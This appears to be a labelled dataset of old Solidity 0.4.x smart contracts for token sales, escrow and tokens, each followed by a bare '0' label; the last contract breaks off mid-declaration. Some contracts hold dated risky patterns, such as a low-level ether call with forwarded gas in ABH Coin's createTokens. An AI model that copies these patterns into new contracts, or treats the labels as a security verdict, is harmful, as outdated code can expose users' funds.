pragma solidity ^0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Destructible is Ownable { function Destructible() public payable { } function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract CAToken is MintableToken, PausableToken { string public constant symbol = "CAT"; string public constant name = "BitClave - Consumer Activity Token"; uint8 public constant decimals = 18; string public constant version = "2.0"; function finishMinting() onlyOwner canMint public returns(bool) { return super.finishMinting(); } } contract PreCAToken is CAToken, Destructible { string public constant symbol = "CAT"; string public constant name = "BitClave - Consumer Activity Token"; uint8 public constant decimals = 18; string public constant version = "1.1"; function destroy() public onlyOwner { require(mintingFinished); super.destroy(); } function destroyAndSend(address _recipient) public onlyOwner { require(mintingFinished); super.destroyAndSend(_recipient); } } contract Crowdsale { using SafeMath for uint256; MintableToken public token; uint256 public startTime; uint256 public endTime; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != 0x0); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } function () public payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public constant returns (bool) { return now > endTime; } } contract PausableCrowdsale is Crowdsale, Pausable { function PausableCrowdsale(bool _paused) public { if (_paused) { pause(); } } function validPurchase() internal constant returns(bool) { return super.validPurchase() && !paused; } } contract BonusCrowdsale is Crowdsale, Ownable { uint32[] public BONUS_TIMES; uint32[] public BONUS_TIMES_VALUES; uint32[] public BONUS_AMOUNTS; uint32[] public BONUS_AMOUNTS_VALUES; uint public constant BONUS_COEFF = 1000; uint public tokenPriceInCents; function BonusCrowdsale(uint256 _tokenPriceInCents) public { tokenPriceInCents = _tokenPriceInCents; } function bonusesForTimesCount() public constant returns(uint) { return BONUS_TIMES.length; } function setBonusesForTimes(uint32[] times, uint32[] values) public onlyOwner { require(times.length == values.length); for (uint i = 0; i + 1 < times.length; i++) { require(times[i] < times[i+1]); } BONUS_TIMES = times; BONUS_TIMES_VALUES = values; } function bonusesForAmountsCount() public constant returns(uint) { return BONUS_AMOUNTS.length; } function setBonusesForAmounts(uint32[] amounts, uint32[] values) public onlyOwner { require(amounts.length == values.length); for (uint i = 0; i + 1 < amounts.length; i++) { require(amounts[i] > amounts[i+1]); } BONUS_AMOUNTS = amounts; BONUS_AMOUNTS_VALUES = values; } function buyTokens(address beneficiary) public payable { uint256 usdValue = msg.value.mul(rate).mul(tokenPriceInCents).div(100).div(1 ether); uint256 bonus = computeBonus(usdValue); uint256 oldRate = rate; rate = rate.mul(BONUS_COEFF.add(bonus)).div(BONUS_COEFF); super.buyTokens(beneficiary); rate = oldRate; } function computeBonus(uint256 usdValue) public constant returns(uint256) { return computeAmountBonus(usdValue).add(computeTimeBonus()); } function computeTimeBonus() public constant returns(uint256) { require(now >= startTime); for (uint i = 0; i < BONUS_TIMES.length; i++) { if (now.sub(startTime) <= BONUS_TIMES[i]) { return BONUS_TIMES_VALUES[i]; } } return 0; } function computeAmountBonus(uint256 usdValue) public constant returns(uint256) { for (uint i = 0; i < BONUS_AMOUNTS.length; i++) { if (usdValue >= BONUS_AMOUNTS[i]) { return BONUS_AMOUNTS_VALUES[i]; } } return 0; } } contract TokensCappedCrowdsale is Crowdsale { uint256 public tokensCap; function TokensCappedCrowdsale(uint256 _tokensCap) public { tokensCap = _tokensCap; } function validPurchase() internal constant returns(bool) { uint256 tokens = token.totalSupply().add(msg.value.mul(rate)); bool withinCap = tokens <= tokensCap; return super.validPurchase() && withinCap; } function hasEnded() public constant returns(bool) { bool capReached = token.totalSupply() >= tokensCap; return super.hasEnded() || capReached; } } contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } function finalization() internal { isFinalized = isFinalized; } } contract CATCrowdsale is FinalizableCrowdsale, TokensCappedCrowdsale(CATCrowdsale.CAP), PausableCrowdsale(true), BonusCrowdsale(CATCrowdsale.TOKEN_USDCENT_PRICE) { uint256 public constant DECIMALS = 18; uint256 public constant CAP = 2 * (10**9) * (10**DECIMALS); uint256 public constant BITCLAVE_AMOUNT = 1 * (10**9) * (10**DECIMALS); uint256 public constant TOKEN_USDCENT_PRICE = 10; address public remainingTokensWallet; address public presaleWallet; function setRate(uint256 _rate) external onlyOwner { require(_rate != 0x0); rate = _rate; RateChange(_rate); } function setEndTime(uint256 _endTime) external onlyOwner { require(!isFinalized); require(_endTime >= startTime); require(_endTime >= now); endTime = _endTime; } function setWallet(address _wallet) external onlyOwner { require(_wallet != 0x0); wallet = _wallet; } function setRemainingTokensWallet(address _remainingTokensWallet) external onlyOwner { require(_remainingTokensWallet != 0x0); remainingTokensWallet = _remainingTokensWallet; } event RateChange(uint256 rate); function CATCrowdsale( uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, address _remainingTokensWallet, address _bitClaveWallet ) public Crowdsale(_startTime, _endTime, _rate, _wallet) { remainingTokensWallet = _remainingTokensWallet; presaleWallet = this; mintTokens(_bitClaveWallet, BITCLAVE_AMOUNT); } function createTokenContract() internal returns(MintableToken) { PreCAToken token = new PreCAToken(); token.pause(); return token; } function finalization() internal { super.finalization(); if (token.totalSupply() < tokensCap) { uint tokens = tokensCap.sub(token.totalSupply()); token.mint(remainingTokensWallet, tokens); } token.finishMinting(); token.transferOwnership(owner); } function pauseTokens() public onlyOwner { PreCAToken(token).pause(); } function unpauseTokens() public onlyOwner { PreCAToken(token).unpause(); } function mintPresaleTokens(uint256 tokens) public onlyOwner { mintTokens(presaleWallet, tokens); presaleWallet = 0; } function transferPresaleTokens(address destination, uint256 amount) public onlyOwner { unpauseTokens(); token.transfer(destination, amount); pauseTokens(); } function mintTokens(address beneficiary, uint256 tokens) public onlyOwner { require(beneficiary != 0x0); require(tokens > 0); require(now <= endTime); require(!isFinalized); require(token.totalSupply().add(tokens) <= tokensCap); token.mint(beneficiary, tokens); } }
0
pragma solidity ^0.4.15; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; modifier onlyPayloadSize(uint size) { assert(msg.data.length == size + 4); _; } mapping(address => uint256) balances; function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; mapping (address => bool) public crowdsaleContracts; modifier canMint() { require(!mintingFinished); _; } modifier onlyCrowdsaleContract() { require(crowdsaleContracts[msg.sender]); _; } function addCrowdsaleContract(address _crowdsaleContract) onlyOwner { crowdsaleContracts[_crowdsaleContract] = true; } function deleteCrowdsaleContract(address _crowdsaleContract) onlyOwner { require(crowdsaleContracts[_crowdsaleContract]); delete crowdsaleContracts[_crowdsaleContract]; } function mint(address _to, uint256 _amount) onlyCrowdsaleContract canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(this, _to, _amount); return true; } function finishMinting() onlyCrowdsaleContract returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract ABHCoin is MintableToken { string public constant name = "ABH Coin"; string public constant symbol = "ABH"; uint32 public constant decimals = 18; } contract PrivatePlacement is Ownable { using SafeMath for uint; address public multisig; ABHCoin public token; uint256 public hardcap; uint public rate; bool refundAllowed; bool privatePlacementIsOn = true; bool PrivatePlacementFinished = false; mapping(address => uint) public balances; function PrivatePlacement(address _ABHCoinAddress, address _multisig, uint _rate) { multisig = _multisig; rate = _rate * 1 ether; hardcap = 120600000 * 1 ether; token = ABHCoin(_ABHCoinAddress); } modifier isUnderHardCap() { require(token.totalSupply() <= hardcap); _; } function stopPrivatePlacement() onlyOwner { privatePlacementIsOn = false; } function restartPrivatePlacement() onlyOwner { require(!PrivatePlacementFinished); privatePlacementIsOn = true; } function finishPrivatePlacement() onlyOwner { require(!refundAllowed); multisig.transfer(this.balance); privatePlacementIsOn = false; PrivatePlacementFinished = true; } function alloweRefund() onlyOwner { refundAllowed = true; } function refund() public { require(refundAllowed); uint valueToReturn = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(valueToReturn); } function createTokens() isUnderHardCap payable { require(privatePlacementIsOn); uint valueWEI = msg.value; uint tokens = rate.mul(msg.value).div(1 ether); if (token.totalSupply() + tokens > hardcap){ tokens = hardcap - token.totalSupply(); valueWEI = tokens.mul(1 ether).div(rate); token.mint(msg.sender, tokens); uint change = msg.value - valueWEI; bool isSent = msg.sender.call.gas(3000000).value(change)(); require(isSent); } else { token.mint(msg.sender, tokens); } balances[msg.sender] = balances[msg.sender].add(valueWEI); } function changeRate(uint _rate) onlyOwner { rate = _rate; } function() external payable { createTokens(); } }
0
pragma solidity ^0.4.18; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Bounty0xEscrow is Ownable, ERC223ReceivingContract { using SafeMath for uint256; address[] supportedTokens; mapping (address => bool) public tokenIsSupported; mapping (address => mapping (address => uint)) public tokens; event Deposit(address token, address user, uint amount, uint balance); event Distribution(address token, address host, address hunter, uint256 amount, uint64 timestamp); function Bounty0xEscrow() public { address Bounty0xToken = 0xd2d6158683aeE4Cc838067727209a0aAF4359de3; supportedTokens.push(Bounty0xToken); tokenIsSupported[Bounty0xToken] = true; } function addSupportedToken(address _token) public onlyOwner { require(!tokenIsSupported[_token]); supportedTokens.push(_token); tokenIsSupported[_token] = true; } function removeSupportedToken(address _token) public onlyOwner { require(tokenIsSupported[_token]); for (uint i = 0; i < supportedTokens.length; i++) { if (supportedTokens[i] == _token) { var indexOfLastToken = supportedTokens.length - 1; supportedTokens[i] = supportedTokens[indexOfLastToken]; supportedTokens.length--; tokenIsSupported[_token] = false; return; } } } function getListOfSupportedTokens() view public returns(address[]) { return supportedTokens; } function tokenFallback(address _from, uint _value, bytes _data) public { var _token = msg.sender; require(tokenIsSupported[_token]); tokens[_token][_from] = SafeMath.add(tokens[_token][_from], _value); Deposit(_token, _from, _value, tokens[_token][_from]); } function depositToken(address _token, uint _amount) public { require(_token != address(0)); require(tokenIsSupported[_token]); require(ERC20(_token).transferFrom(msg.sender, this, _amount)); tokens[_token][msg.sender] = SafeMath.add(tokens[_token][msg.sender], _amount); Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]); } function distributeTokenToAddress(address _token, address _host, address _hunter, uint256 _amount) external onlyOwner { require(_token != address(0)); require(_hunter != address(0)); require(tokenIsSupported[_token]); require(tokens[_token][_host] >= _amount); tokens[_token][_host] = SafeMath.sub(tokens[_token][_host], _amount); require(ERC20(_token).transfer(_hunter, _amount)); Distribution(_token, _host, _hunter, _amount, uint64(now)); } function distributeTokenToAddressesAndAmounts(address _token, address _host, address[] _hunters, uint256[] _amounts) external onlyOwner { require(_token != address(0)); require(_host != address(0)); require(_hunters.length == _amounts.length); require(tokenIsSupported[_token]); uint256 totalAmount = 0; for (uint j = 0; j < _amounts.length; j++) { totalAmount = SafeMath.add(totalAmount, _amounts[j]); } require(tokens[_token][_host] >= totalAmount); tokens[_token][_host] = SafeMath.sub(tokens[_token][_host], totalAmount); for (uint i = 0; i < _hunters.length; i++) { require(ERC20(_token).transfer(_hunters[i], _amounts[i])); Distribution(_token, _host, _hunters[i], _amounts[i], uint64(now)); } } function distributeTokenToAddressesAndAmountsWithoutHost(address _token, address[] _hunters, uint256[] _amounts) external onlyOwner { require(_token != address(0)); require(_hunters.length == _amounts.length); require(tokenIsSupported[_token]); uint256 totalAmount = 0; for (uint j = 0; j < _amounts.length; j++) { totalAmount = SafeMath.add(totalAmount, _amounts[j]); } require(ERC20(_token).balanceOf(this) >= totalAmount); for (uint i = 0; i < _hunters.length; i++) { require(ERC20(_token).transfer(_hunters[i], _amounts[i])); Distribution(_token, this, _hunters[i], _amounts[i], uint64(now)); } } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ALT1Token is Ownable, ERC20Basic { using SafeMath for uint256; string public constant name = "Altair VR presale token"; string public constant symbol = "ALT1"; uint8 public constant decimals = 18; bool public mintingFinished = false; mapping(address => uint256) public balances; address[] public holders; event Mint(address indexed to, uint256 amount); event MintFinished(); function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); if (balances[_to] == 0) { holders.push(_to); } balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } function transfer(address, uint256) public returns (bool) { revert(); return false; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } modifier canMint() { require(!mintingFinished); _; } } contract Crowdsale is Ownable { using SafeMath for uint256; uint256 public constant rate = 17000; uint256 public constant cap = 80000000 ether / rate; bool public isFinalized = false; uint256 public endTime = 1522540800; ALT1Token public token; address public wallet; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event Finalized(); function Crowdsale (ALT1Token _ALT1, address _wallet) public { assert(address(_ALT1) != address(0)); assert(_wallet != address(0)); assert(endTime > now); assert(rate > 0); assert(cap > 0); token = _ALT1; wallet = _wallet; } function () public payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function finalize() onlyOwner public { require(!isFinalized); finalization(); Finalized(); isFinalized = true; } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool tokenMintingFinished = token.mintingFinished(); bool withinCap = weiRaised.add(msg.value) <= cap; bool withinPeriod = now <= endTime; bool nonZeroPurchase = msg.value != 0; bool moreThanMinimumPayment = msg.value >= 0.05 ether; return !tokenMintingFinished && withinCap && withinPeriod && nonZeroPurchase && moreThanMinimumPayment; } function finalization() internal { token.finishMinting(); endTime = now; } function hasEnded() public view returns (bool) { return now > endTime; } }
0
pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract HasNoEther is Ownable { constructor() public payable { require(msg.value == 0); } function() external { } function reclaimEther() external onlyOwner { owner.transfer(address(this).balance); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address addr) internal { role.bearer[addr] = true; } function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } function check(Role storage role, address addr) view internal { require(has(role, addr)); } function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } } contract Whitelist is Ownable, RBAC { event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); string public constant ROLE_WHITELISTED = "whitelist"; modifier onlyWhitelisted() { checkRole(msg.sender, ROLE_WHITELISTED); _; } function addAddressToWhitelist(address addr) onlyOwner public { addRole(addr, ROLE_WHITELISTED); emit WhitelistedAddressAdded(addr); } function whitelist(address addr) public view returns (bool) { return hasRole(addr, ROLE_WHITELISTED); } function addAddressesToWhitelist(address[] addrs) onlyOwner public { for (uint256 i = 0; i < addrs.length; i++) { addAddressToWhitelist(addrs[i]); } } function removeAddressFromWhitelist(address addr) onlyOwner public { removeRole(addr, ROLE_WHITELISTED); emit WhitelistedAddressRemoved(addr); } function removeAddressesFromWhitelist(address[] addrs) onlyOwner public { for (uint256 i = 0; i < addrs.length; i++) { removeAddressFromWhitelist(addrs[i]); } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PixieToken is StandardToken, Whitelist, HasNoEther { string public constant name = "Pixie Token"; string public constant symbol = "PXE"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 100000000000 * (10 ** uint256(decimals)); bool public transfersEnabled = false; address public bridge; event BridgeChange(address to); event TransfersEnabledChange(bool to); constructor() public Whitelist() { totalSupply_ = initialSupply; balances[msg.sender] = initialSupply; emit Transfer(0x0, msg.sender, initialSupply); bridge = msg.sender; addAddressToWhitelist(msg.sender); } function transfer(address _to, uint256 _value) public returns (bool) { require( transfersEnabled || whitelist(msg.sender) || _to == bridge, "Unable to transfers locked or address not whitelisted or not sending to the bridge" ); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require( transfersEnabled || whitelist(msg.sender) || _to == bridge, "Unable to transfers locked or address not whitelisted or not sending to the bridge" ); return super.transferFrom(_from, _to, _value); } function changeBridge(address _new) external onlyOwner { require(_new != address(0), "Invalid address"); bridge = _new; emit BridgeChange(bridge); } function setTransfersEnabled(bool _transfersEnabled) external onlyOwner { transfersEnabled = _transfersEnabled; emit TransfersEnabledChange(transfersEnabled); } } contract Crowdsale { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event 